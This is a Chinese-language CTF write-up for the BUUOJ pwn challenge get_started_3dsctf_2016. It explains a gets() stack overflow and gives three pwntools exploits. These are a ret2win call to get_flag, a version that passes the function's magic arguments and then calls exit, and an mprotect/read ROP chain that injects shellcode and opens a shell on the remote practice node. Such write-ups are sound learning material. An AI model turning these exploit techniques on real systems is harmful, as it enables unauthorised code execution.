记一次有意思的题解

checksec一下,32位程序,保护措施只开了NX

拖进ida打开,gets函数存在溢出

存在后门函数,直接打开了flag.txt,读取到了flag的内容

所以最开始思路是利用溢出将返回地址填充为get_flag的地址,这里溢出是0x38,初步撰写exp
这里我是在文件夹下建立了一个名为flag.txt的文件,里面内容是kiki1ebkfd
脚本如下

    from pwn import *
    io = process('./get_started_3dsctf_2016')
    context.log_level = 'debug'

    payload = b'a'*56
    payload += p32(0x080489B8)
    io.sendline(payload)

    io.recv()

可以看到在本地的话,是成功打通了

但是远程打不通,问题就在于,当调用get_flag函数的时候,程序并不会正常退出,而异常退出的话,最后便没有回显。所以这道题应设法使得程序正常退出。
继续看程序,发现存在一个exit函数,该函数可以使得程序正常退出

再看get_flag函数,存在两个参数,那思路就是通过溢出,调用get_flag,向里面传入两个参数,接着返回函数,也就是exit函数
构造如下’a’*offset + ‘ebp’ + get_flag的地址 + get_flag的返回地址(exit函数) + 参数1 + 参数2
这里需要注意的就是当一个父函数去调用一个子函数的时候,它会先将子函数的返回地址压入栈中,再将所用到的参数压入栈中
所以新构造的payload应该为

    from pwn import *
    io = remote('node5.buuoj.cn',28451)

    context.log_level = 'debug'
    sleep(0.1)

    payload = b'a'*56
    payload += p32(0x080489A0) + p32(0x0804E6A0)
    payload += p32(0x308CD64F) + p32(0x195719D1)
    io.sendline(payload)
    sleep(0.1)
    io.recv()

这样便可以打通了,

不过在查阅其他师傅的博客的时候,发现了另一种解法,可以打通远程,主要用到了程序里的mprotect函数

mprotect函数原型如下

    int mprotect(void *addr, size_t len, int prot);
    addr 内存启始地址
    len  修改内存的长度
    prot 内存的权限

这里用到三个参数,利用ROPgadget寻找

修改的函数为

那么问题来了,为什么要修改这里,为什么是0x80EB000而不是bss段的开头0x80EBF80,因为指定的内存区间必须包含整个内存页(4K),起始地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍。
然后将返回地址填上read函数,因为接下来要将shellcode读入程序段,需要继续控制程序
read函数

read函数原型

    ssize_t read(int fd, void *buf, size_t count);
    fd 设为0时就可以从输入端读取内容    设为0
    buf 设为我们想要执行的内存地址      设为我们已找到的内存地址0x80EB000
    size 适当大小就可以                读入shellcode

接下来将返回地址填充为我们修改的内存地址,填入shellcode
完整exp如下

    from pwn import *

    elf = ELF('./get_started_3dsctf_2016')

    io=remote('node5.buuoj.cn', 28451)

    pop3_ret = 0x804951D

    mem_addr = 0x80EB000
    mem_size = 0x1000    
    mem_proc = 0x7       

    mprotect_addr = elf.symbols['mprotect']
    read_addr = elf.symbols['read']


    payload  = b'a' * 0x38
    payload += p32(mprotect_addr)
    payload += p32(pop3_ret) 


    payload += p32(mem_addr) 
    payload += p32(mem_size)  
    payload += p32(mem_proc)   

    payload += p32(read_addr)

    payload += p32(pop3_ret)  


    payload += p32(0)     
    payload += p32(mem_addr)   
    payload += p32(0x100) 

    payload += p32(mem_addr)   

    io.sendline(payload)

    payload = asm(shellcraft.sh()) 

    io.sendline(payload)

    io.interactive()